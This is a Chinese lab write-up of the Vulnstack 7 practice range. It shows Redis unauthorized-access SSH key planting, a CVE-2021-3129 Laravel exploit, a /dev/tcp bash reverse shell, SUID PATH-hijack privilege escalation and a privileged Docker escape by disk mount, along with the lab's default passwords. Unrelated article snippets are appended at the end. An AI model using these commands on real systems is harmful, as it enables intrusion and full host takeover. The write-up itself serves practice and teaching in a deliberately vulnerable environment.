红日靶场vulnstack 7靶机的测试报告[细节](一)
目录
一、测试环境
1、系统环境
2、注意事项
3、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、Redis未授权访问漏洞获取web1靶机系统权限
3、获取docker靶机系统权限
①Laravel框架漏洞利用getshell
②Laravel主机的提权&&docker容器逃逸
提权
Docker逃逸
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.200.128)
靶 机:
Ubuntu-web1[192.168.52.10(仅主机的52网段,配置好的固定IP)、192.168.200.129(nat网卡)];
Ubuntu-web2[192.168.52.20(仅主机的52网段,配置好的固定IP)、192.168.93.10(仅主机的93网段,配置好的固定IP)];
Win7-PC1[192.168.52.30(仅主机的52网段,配置好的固定IP)、192.168.93.20(仅主机的93网段,配置好的固定IP)];
WinServer-DC(192.168.93.30,仅主机的93网段,配置好的固定IP);
Win7-PC2(192.168.93.40,仅主机的93网段,配置好的固定IP)。
密码信息(默认密码):
- Ubuntu 1:web/web2021
- Ubuntu 2:ubuntu
域用户账户和密码如下:
- Administrator:Whoami2021
- whoami:Whoami2021
- bunny:Bunny2021
- moretz:Moretz2021
通达OA账户:
admin:admin657260
2、注意事项
- 靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务。
- Ubuntu 1需要启动nginx服务:
redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
- Ubuntu 2需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
- Win 7-PC1需要启动通达OA和nginx(否则外部访问不到):
C:\MYOA\bin\AutoConfig.exe
C:\MYOA\nginx\OfficeNginx.exe
而且,需要启用网络发现!!,要ubuntu1和2能ping到这台主机才可以
3、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录遍历)、ssh-kergen(生成ssh公钥私钥)、python3(临时web服务)
Redis Insight(redis数据库管理)、MDUT(数据库综合利用工具利用)、mobaxterm(进行ssh连接)、burp suite(发包测试)、CVE-2021-3129-EXP(漏洞利用poc)、godzilla v2.96(webshell连接)、中国蚁剑(webshell连接)、cdk(docker漏洞检测工具)
测试网址:http://192.168.200.129/
二、测试目的
通过web渗透,利用redis和laravel的漏洞进行测试获取两台ubuntu主机的系统权限。
三、操作过程
1、信息搜集
主机探测
arp-scan -l
web靶机IP:192.168.200.129
端口和服务探测
nmap -sN -A -p- -T4 192.168.200.129
靶机开启了22端口(ssh服务)、80端口(web服务)、81端口(web服务)、6379端口(redis服务)
目录扫描
dirsearch -u http://192.168.200.129:81 -i 200,301 --exclude-sizes=0B
扫到了两个网页,但都没什么信息
2、Redis未授权访问漏洞获取web1靶机系统权限
信息搜集阶段发现靶机开启了redis的默认端口6379,nmap也识别该服务正是redis
使用redis数据库管理工具进行连接
发现直接就可以连接上去,没有认证
在控制台输入命令也有回显
info
在Redis 数据库服务存在未授权访问漏洞的情况下,常见的获取服务器 shel的方法一般有写SSH-keygen、写计划任务反弹shell、写webshell、利用主从复制获取shell等方式.可以通过Redis Insight 操作Redis手工获取服务器shell,也可以使用工具进行自动化获取shell。
使用MDUT数据库综合利用工具利用
项目地址:GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization ToolsMDUT - Multiple Database Utilization Tools. Contribute to SafeGroceryStore/MDUT development by creating an account on GitHub.https://github.com/SafeGroceryStore/MDUT
先进行数据库连接
成功进行连接
该工具可以一键替换ssh公钥
需要先使用kali生成一份ssh公钥和私钥
ssh-keygen -t rsa
然后复制/root/.ssh/id_rsa.pub的内容到利用工具的公钥栏
cat /root/.ssh/id_rsa.pub
直接写入
靶机是开启了22端口的ssh服务的,接下来使用私钥进行ssh连接
私钥位置:/root/.ssh/id_rsa
复制一份出来即可,使用mobaxterm直接进行ssh私钥连接
可以看到成功连接,root权限
查看IP
外网IP:192.168.200.129
内网IP:192.168.52.10
3、获取docker靶机系统权限
需要注意的是,这个laravel框架是从内网主机映射到web主机的81端口的,因此这个docker容器来自于内网主机。
别问为什么,我也是踩了几个小时的坑才发现。
①Laravel框架漏洞利用getshell
访问web主页
可以看到laravel的版本是8.29.0 php版本是7.4.14
查找laravel框架的历史漏洞
https://www.seebug.org/search/?keywords=laravel
漏洞编号:SSV-99098
CVE-2021-3129
这个漏洞影响范围包括8.29.0版本
发送漏洞检测数据包poc,查看漏洞是否存在
POST / HTTP/1.1
Host:192.168.200.129:81
Content-Type: application/json
Content-Length: 167
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": (
"variableName": "username",
"viewFile": "xxxxxxx"
}
}
发送数据包,返回如下页面:
这表示目标laravel开启了debug模式,存在RCE漏洞
漏洞利用exp可以在github下载:
GitHub - SecPros-Team/laravel-CVE-2021-3129-EXPContribute to SecPros-Team/laravel-CVE-2021-3129-EXP development by creating an account on GitHub.https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
使用这个exp,打开cmd,输入url地址并运行exp
python laravel-CVE-2021-3129-EXP.py http://192.168.200.129:81
可以看到生成了webshell地址,这个使用godzilla(哥斯拉) v2.96进行连接
必须使用godzilla 2.96版本连接,4.01版就连不上了
查看靶机信息,发现靶机是linux系统,且有dockerenv文件
whoami
find / -name .dockerenv
确认是docker环境
cat /proc/self/cgroup
会列出当前docker容器ID信息
Docker容器中执行hostname命令,回显结果应与容器ID匹配
hostname
结果与容器ID前面12位一致,可以确认当前环境为docker环境
②Laravel主机的提权&&docker容器逃逸
提权
通过redis未授权漏洞,已经获取了web主机的root权限,尝试将docker的shell弹到web主机上。
在web主机开启监听
echo '#!/bin/bash\nbash -i >& /dev/tcp/192.168.52.10/6666 0>&1' > test.sh
bash test.sh
成功获取反弹shell,laravel框架的主机IP:192.168.52.20
通过laravel的RCE漏洞获取的webshell只是www-data权限,进行docker逃逸前要先提权
查找suid权限文件发现,jobs家目录有一个shell文件是suid权限
find / -perm -4000 -ls 2>/dev/null
执行shell文件,发现调用了ps命令
/home/jobs/shell
使用环境变量提权,构造一个ps命令调用/bin/bash,这样运行shell文件调用ps命令时就会以root身份执行/bin/bash了
echo '/bin/bash' > /tmp/ps
添加tmp目录到环境变量首位,这样执行命令会优先在tmp目录找命令执行
echo $PATH
export PATH="/tmp:$PATH"
echo $PATH
再次运行shell文件,验证权限,提权成功!
/home/jobs/shell
获取交互式shell
SHELL=/bin/bash script -q /dev/null
Docker逃逸
使用mobaxterm自带的网络扫描工具看一下
可以看到靶机开启了ssh服务
先上传cdk到web主机,并在web主机使用python开启临时web服务
python3 -m http.server 8888
在docker主机使用curl命令下载cdk
curl http://192.168.52.10:8888/cdk_linux_amd64 --output cdk
赋予文件执行权限并运行
chmod +x cdk
./cdk evaluate --full
可以看到特权模式是打开的,可以将物理机的文件挂载到docker容器进行利用
挂载命令:
mkdir /taoyi
mount /dev/sda1 /taoyi
cd /taoyi && ls -la
这样就会将物理机的文件挂载到docker容器
可以利用替换ssh公钥文件,实现ssh登录docker主机的物理机
.ssh目录(权限700);私钥权限600;~/.ssh/authorized_keys文件(权限600)
cd root
mkdir .ssh && chmod 700 .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCPIBEKJ+XPb3kENnFCySEV95FPT31k3Qc0o+zJHPpC7Rpna71oWow4mCo37AunRQ09pMTwfc9cWMLd6ulc0DpPK4IaZ0o42Gb0Dmb/TA8sxroCUPfS95ExkvKbAgy+M4IbJWs+UOMHez4keF4JUFaLaEfsE9587KiaOLBb3PgZ7CdKkUwMpCAnKyn78P483HRMzIgRjddjpmWMylilyA3qpDgezienPF7T/1BMfAHPYsJEF58vSv+j6Lt73z5KvmxcV/XXuIvna4WTQJjLe9HGeaHZnKTrxPNxQhxwvnh1/oS+28VvivRhPUINr9qXewwYJRec9JGkOjBdVH1tDemzqY7qbtZ1277Lpyesf6Z/gbGDj3PZr0ahzOq6PD+jmlhT7eSaKvc4pYXsZ6fZ6Ii6Gq0wtHSzUPM/E/IJB6y/d0EfbvzWkIX7/DoyeFO9DhW5UAHuCvyaBm9ONVy0fBcJUJcCUhcLQUs7GEzcjzpGzkf+/eclz4JAyYrnELkkzUU= root@hacker" > .ssh/authorized_keys
chmod 600 .ssh/authorized_keys
私钥上传到web主机上,并赋予600权限
chmod 600 id_rsa
在web主机进行ssh连接到内网docker物理机
ssh root@192.168.52.20 -i id_rsa
成功连接!
这台机器也是两张网卡:
内网1:192.168.52.20
内网2:192.168.93.10
四、结论
redis未授权漏洞危害很大,可以直接无密码登录进行操作。laravel框架的历史版本漏洞也有很多漏洞可以利用。web服务器将内网主机的docker容器映射到了自身端口,允许外部访问。docker容器以特权模式启动时,可以进行docker逃逸。
这个靶场共五台主机,两层内网架构,都放在一篇文章的话,有些冗杂,分成三篇发送。
相关文章:
红日靶场vulnstack 7靶机的测试报告[细节](一)
目录 一、测试环境 1、系统环境 2、注意事项 3、使用工具/软件 二、测试目的 三、操作过程 1、信息搜集 2、Redis未授权访问漏洞获取web1靶机系统权限 3、获取docker靶机系统权限 ①Laravel框架漏洞利用getshell ②Laravel主机的提权&&docker容器逃逸 提权…...
【计算机网络】Layer4-Transport layer
目录 传输层协议How demultiplexing works in transport layer(传输层如何进行分用)分用(Demultiplexing)的定义:TCP/UDP段格式: UDPUDP的特点:UDP Format端口号Trivial File Transfer Protocol…...
【conda/cuda/cudnn/tensorrt】一份简洁的深度学习环境安装清单
🚀本文主要总结一下conda、cuda、cudnn、tensorrt的快速安装。至于nvidia显卡驱动的安装,暂且不提。本文适合有一定反复安装经验的读者😂,方便其快速整理安装思路。 NVIDIA Drivers 🌔01conda ⭐️ 注意,c…...
在C语言中,访问结构体的成员时,什么时候用`.`【符号点】,什么时候用符号`->`?
在C语言中,访问结构体成员时,使用.和->的情况取决于你是否通过结构体指针来访问。 .(点运算符):当你有一个结构体变量时,使用点运算符来访问它的成员。例如: struct Person {char name[50];i…...
Java序列化
Java序列化 简单来说: 序列化是将对象的状态信息转换为可以存储或传输的形式(如字节序列)的过程。在 Java 中,通过序列化可以把一个对象保存到文件、通过网络传输到其他地方或者存储到数据库等。最直接的原因就是某些场景下需要…...
Python 方框消除小游戏
import pygame import random# 初始化pygame pygame.init()# 设置屏幕大小 screen pygame.display.set_mode((800, 600))# 设置标题 pygame.display.set_caption("打砖块")# 定义颜色 WHITE (255, 255, 255) BLACK (0, 0, 0) RED (255, 0, 0) GREEN (0, 255, 0)…...
微软 Phi-4:小型模型的推理能力大突破
在人工智能领域,语言模型的发展日新月异。微软作为行业的重要参与者,一直致力于推动语言模型技术的进步。近日,微软推出了最新的小型语言模型 Phi-4,这款模型以其卓越的复杂推理能力和在数学领域的出色表现,引起了广泛…...
OkHttp源码分析:分发器任务调配,拦截器责任链设计,连接池socket复用
目录 一,分发器和拦截器 二,分发器处理异步请求 1.分发器处理入口 2.分发器工作流程 3.分发器中的线程池设计 三,分发器处理同步请求 四,拦截器处理请求 1.责任链设计模式 2.拦截器工作原理 3.OkHttp五大拦截器 一&#…...
前后端跨域问题(CROS)
前端 在src中创建util文件,写request.js文件: request.js代码如下: import axios from axios import { ElMessage } from element-plus;const request axios.create({// baseURL: /api, // 注意!! 这里是全局统一加…...
ctfshow xss
1.web316 看的wp 先在服务器上写一个php文件 <?php$cookie $_GET[cookie];$time date(Y-m-d h:i:s, time());$log fopen("cookie.txt", "a");fwrite($log,$time.: . $cookie . "\n");fclose($log); ?> 获取cookie的值ÿ…...
kafka客户端调用
kafka客户端调用 springboot整合kafkajava调用kafka其他问题 springboot整合kafka 手动提交需要在配置文件配置kafka属性 kafka.listener.ack-mode: manual Component public class MyKafkaListener {Autowiredprivate SaslClient saslClient;//监听所有分区KafkaListener(top…...
Linux 中 sftp 命令基本使用
参考链接 sftp 命令_sftp命令-CSDN博客 登录服务器【必须】 # sftp userNamehost # 例如 sftp root8.138.86.224 上传文件到服务器 使用 sftp 命令可以将本地文件上传到远程主机 # put local_file remote_file # 例如: put E://1.mp4 /root/1.mp4 下载文件 使…...
xtu oj 3个矩形与1个正方形
文章目录 回顾前言代码思路 回顾 xtu oj 神经网络xtu oj 1167 逆序数(大数据)xtu oj 原根xtu oj 不定方程的正整数解xtu oj 最多的可变换字符串xtu oj String Ixtu oj 字母序列xtu oj 分段xtu oj 完全平方数IIxtu oj 连接字符串xtu oj 2021xtu oj 数字x…...
C++ 引用
引用(Reference)是C语言中用于给变量起别名的特性,是一种轻量级的变量访问方式。通过引用,可以对原变量进行操作而不需要直接访问原变量的内存地址。这一特性极大地增强了代码的简洁性和安全性,同时也在参数传递和返回…...
解决几个常见的ASP.NET Core Web API 中多线程并发写入数据库失败的问题
前言 在ASP.NET Core Web API应用程序中,当多个并发线程同时调用新增用户数据的接口时,可能会遇到数据库写入失败的问题。这个问题通常源于多个线程同时访问数据库时,可能会导致以下情况: 数据库连接池耗尽:每个线程…...
让知识更具生命力
在当今快速发展的技术世界中,技术文档的重要性不言而喻。它不仅是知识传递的有效载体,也是团队协作的基石,更是提升产品竞争力的重要工具。然而,编写出一份清晰、完整且实用的技术文档,对于许多开发者和团队来说并非易…...
批量DWG文件转dxf(CAD图转dxf)——c#插件实现
此插件可将指定文件夹及子文件夹下的dwg文件批量转为dxf文件。 (使用方法:命令行输入 “netload” 加载插件,然后输入“dwg2dxf”运行,选择文件夹即可。) 生成dxf在此新建的文件夹路径下,包含子文件夹内的…...
《Django 5 By Example》阅读笔记:p561-p613
《Django 5 By Example》学习第 21 天,p561-p613 总结,总计 53 页。 一、技术总结 1.mixins (1)定义(什么是 mixins?) p570,Mixins are a special kind of multiple inheritance for a class. (2)适用场景(为什么使用?) 1)…...
1. 字符串分割
给定一个非空字符串S,其被N个‘-’分隔成N1的子串,给定正整数K,要求除第一个子串外,其余的子串每K个字符组成新的子串,并用‘-’分隔。对于新组成的每一个子串,如果它含有的小写字母比大写字母多࿰…...
[SAP ABAP] 将内表数据转换为HTML格式
从sflight数据库表中检索航班信息,并将这些信息转换成HTML格式,然后下载或显示在前端 开发步骤 ① 自定义一个数据类型 ty_sflight 来存储航班信息 ② 声明内表和工作区变量,用于存储表头、字段、HTML内容和航班详细信息以及创建字段目录lt…...
计算机网络-应用层
应用层是咱们日常开发中,最常用到的一层 主要涉及到两种情况: 1.使用大佬们已经创建好的应用层协议(后面再讨论,应用层知名的协议有很多,其中的佼佼者就是 HTTP (后面会出单独的文章来讲解))2.自己定义应用…...
SpringEvent 解决 WebUploader 大文件上传解耦问题
一、SpringEvent涉及的相关组件 为了让不熟悉SpringEvent的朋友对Event也有一个大致的印象。这里还是对SpringEvent对象包含的方法和相关组件的应用进行简单的介绍。 1、 事件(Event) 事件是应用程序中发生的某种事情,可以是用户行为、系统…...
KALI安装操作及过程
以下是在计算机上安装 Kali Linux 的详细教程:(通常我直接使用虚拟机) 解压虚拟机安装包,直接在虚拟机中打开KALI (将内存改为4GB) 初始密码账号:kali 一、准备工作 下载 Kali Linux 镜像文件…...
Scala—“==“和“equals“用法(附与Java对比)
Scala 字符串比较—""和"equals"用法 Scala 的 在 Scala 中, 是一个方法调用,实际上等价于调用 equals 方法。不仅适用于字符串,还可以用于任何类型,并且自动处理 null。 Demo: Java 的 在 J…...
[Flutter] : Clipboard
import package:flutter/material.dart; import package:flutter/services.dart; setData Clipboard.setData(ClipboardData(text: "传入的文字内容")); getData Clipboard.getData(Clipboard.kTextPlain) 记录 | Flutter剪切板-刨根问底做一个可以在后台…...
vue2:v-for实现的el-radio-group选中时显示角标,并自定义选中按钮的字体颜色和背景色
项目中需要实现一组预定义查询,每一个查询按钮在选中时右上角显示一个角标,展示当前查询返回的数据条目。 1、text-color="#3785FF" fill="#E6EAF1" 处理选中时的字体颜色和背景色,如上图,分别为蓝色和浅灰色。 2、badge中:value="selectedRadio…...
Dynamics 365 CRM- 后端
Dynamics 365 CRM 后端插件语法示例 public IPluginExecutionContext context null;//上下文 public IOrganizationServiceFactory serviceFactory null;//组织服务工厂对象 public IOrganizationService service null;//Org服务对象//创建执行上下文 context (IPluginExe…...
电脑显示器选购指南2024
选择显示器是五花八门的显示参数,如何选择,以下给出参数说明,及部分参考: 1. 尺寸和分辨率 尺寸(英寸) 根据使用距离和用途选择合适的屏幕尺寸: 21-24 英寸:适合小桌面空间、日常…...
机器学习-多元线性回归
文章目录 代码什么是回归任务什么是多元什么是回归什么是多元线性回归表达式何时使用多元线性回归注意损失函数 代码 https://github.com/FULLK/AI_Study/tree/main/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0-%E5%A4%9A%E5%85%83%E7%BA%BF%E6%80%A7%E5%9B%9E%E5%BD%92 什么是回归…...
WEB语义化的新探索:浅析LLMs.txt
【引】有人迷恋使用大模型生成各种有趣的内容, 有人沉醉于大模型相关技术的探索,没有对错,只在于你的乐趣所在。 一项名为 llms.txt 的新提案标志了一些非同寻常的东西的出现: 一个Web网站不仅为人类读者服务,而且为人工智能提供服…...
【经典】制造供应链四类策略(MTS、MTO、ATO、ETO)细说
关注作者 制造供应链的牛鞭问题与复杂问题主要是从两个方面解决,一是同步化供应链消减从需求到供应的放大效应,二是供应链细分,针对不同的客户、不同的需求供应的匹配策略来应对复杂性,更好的满足客户并以最低的总成本来实现。 对…...
RabbitMQ中的Publish-Subscribe模式
在现代分布式系统中,消息队列(Message Queue)是实现异步通信和解耦系统的关键组件。RabbitMQ 是一个功能强大且广泛使用的开源消息代理,支持多种消息传递模式。其中,Publish/Subscribe(发布/订阅࿰…...
简单了解一下 Go 语言的构建约束?
构建约束是一种在 Go 语言中控制源文件编译条件的方法,它可以让您指定某些文件只在特定的操作系统、架构、编译器或 Go 版本下编译,而在其他环境中自动忽略。这样可以方便您针对不同的平台或场景编写不同的代码,实现条件编译的功能。 构建…...
图像融合算法笔记2024 CDTNet
目录 ControlCom-Image-Composition CDTNet-High-Resolution-Image-Harmonization 依赖项: trilinear 效果图: 推理代码ok 只支持linux系统: ControlCom-Image-Composition CDTNet-High-Resolution-Image-Harmonization 开源地址: GitHub - bcmi/CDTNet-High-Reso…...
我们来对接蓝凌OA --报文格式
题记 数智化办公专家、国家高新技术企业、知识管理国家标准制定者、信创供应商10强…等等,这些和咱们有关系吗!!不好意思,走错片场了,刚和项目经理在甲方那边吹牛B想想刚刚的大饼,看看支付宝余额ÿ…...
npm、yarn、pnpm三者的异同
这个表格将会说明一切: 特性npmyarnpnpm依赖管理方式扁平化管理,嵌套依赖树,可能重复安装扁平化管理喝符号链接,同版本只能安装一次基于硬链接喝符号链接的内容寻址存储安装速度最慢中等(并行安装)最快(得益于硬链接的复用)磁盘空…...
纯CSS实现文本或表格特效(连续滚动与首尾相连)
纯CSS实现文本连续向左滚动首尾相连 1.效果图: 2.实现代码: <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-width, init…...
信号处理:概念、技术、领域
目录 基本概念 主要技术 应用领域 信号处理是一个涉及分析、修改和再生信号的多学科领域。信号可以是各种形式的,例如声音、图像、视频或其他类型的监测数据。信号处理的主要目标是提取有用的信息并增强信号的质量。以下是信号处理的一些基本概念和应用ÿ…...
Android 中 Activity 和 Fragment 的结合使用经典案例
学习笔记 0. 分析 Activity 与 Fragment 的区别,部分使用的差异 上一篇中我们分析了Activity 与 Fragment 的区别,部分使用的差异。 点我跳转上一篇 1. 单个 Activity 中使用多个 Fragment 这是最常见的用法之一,特别是在单屏幕应用中。通…...
Http协议在网站中的体现
文章目录 1. Http协议简介2. 网站中的体现2.1 访问网站2.2 请求2.3 请求头2.4 请求方式2.5 响应 3. 总结 1. Http协议简介 HTTP(超文本传输协议) 是一种广泛应用于互联网上的应用层协议,用于在Web浏览器和Web服务器之间传输数据。HTTP协议定…...
CTF-WEB: php-Session 文件利用 [第一届国城杯 n0ob_un4er 赛后学习笔记]
step 1 搭建容器 教程 A5rZ 题目 github.com Dockerfile 有点问题,手动修复一下 FROM php:7.2-apacheCOPY ./flag /root COPY ./readflag / COPY ./html/ /var/www/html/ COPY ./php.ini /usr/local/etc/php/php.ini COPY ./readflag /readsecretRUN chmod 755 /var/www…...
《计算机视觉:瓶颈之辩与未来之路》
一、计算机视觉的崛起 计算机视觉是使用计算机模仿人类视觉系统的科学,让计算机拥有类似人类提取、处理、理解和分析图像以及图像序列的能力。它是一个多学科交叉的领域,与机器视觉、图像处理、人工智能、机器学习等领域密切相关。 计算机视觉行业可分为…...
黑皮书-计算机科学导论02
目录 第二部分:计算机硬件 第5章计算机组成 5.1中央处理单元 Ⅰ.算数逻辑单元 Ⅱ.控制单元 Ⅲ.寄存器 5.2主存储器 Ⅰ.随机存取存储器(RAM) Ⅱ.只读存储器(ROM) 高速缓冲存储器(Cache) 5.3输入/输出子系统 Ⅰ.非存储设备 Ⅱ.存储设备(辅助存…...
React--》如何高效管理前端环境变量:开发与生产环境配置详解
在前端开发中,如何让项目在不同环境下表现得更为灵活与高效,是每个开发者必须面对的挑战,从开发阶段的调试到生产环境的优化,环境变量配置无疑是其中的关键。 env配置文件:通常用于管理项目的环境变量,环境…...
初始Python篇(6)—— 字符串
找往期文章包括但不限于本期文章中不懂的知识点: 个人主页:我要学编程(ಥ_ಥ)-CSDN博客 所属专栏: Python 目录 字符串的常见操作 格式化字符串 占位符 f-string 字符串的 format 方法 字符串的编码与解码 与数据验证相关的方法 …...
【数字花园】个人知识库网站搭建:⑤本地构建+云服务器部署数字花园plus
目录 写在前面:数字花园的定义[[数字花园]]网站的构建原理包括三个步骤:[[我的数字花园搭建笔记]] 现在的部署流程一、本地操作详细教程-2.前置步骤(前面的文章都提过)-1.创建github中转库0. 本地环境配置基础环境:git…...
力扣题目 - 3264.K 次乘运算后的最终数组I
题目 还需要你前往力扣官网查看详细的题目要求 地址 1.给你一个整数数组 nums ,一个整数 k 和一个整数 multiplier 。2.你需要对 nums 执行 k 次操作,每次操作中:找到 nums 中的 最小 值 x ,如果存在多个最小值,选择最…...
Java常用 Date 时间格式化、Calender日历、正则表达式的用法
目录 1. SimpleDateFormat 日期格式化类 1.1 Date 类型转 String 1.2 String 类型转 Date 2. Calendar 日历类 3. 正则表达式 3.1 正则表达式的组成部分 3.2 手机号正则表达式 3.3 常用密码校验正则表达式 1. SimpleDateFormat 日期格式化类 SimpleDateFormat 是Java中…...
网页爬虫技术全解析:从基础到实战
引言 在当今信息爆炸的时代,互联网上的数据量每天都在以惊人的速度增长。网页爬虫(Web Scraping),作为数据采集的重要手段之一,已经成为数据科学家、研究人员和开发者不可或缺的工具。本文将全面解析网页爬虫技术&…...
细说STM32F407单片机SPI基础知识
目录 一、 SPI接口和通信协议 1、 SPI硬件接口 (1)MOSI(Master Output Slave Input) (2)MISO(Master Input Slave Output) (3)SCK 2、SPI传输协议 (1)CPHA0时的数据传输时序 …...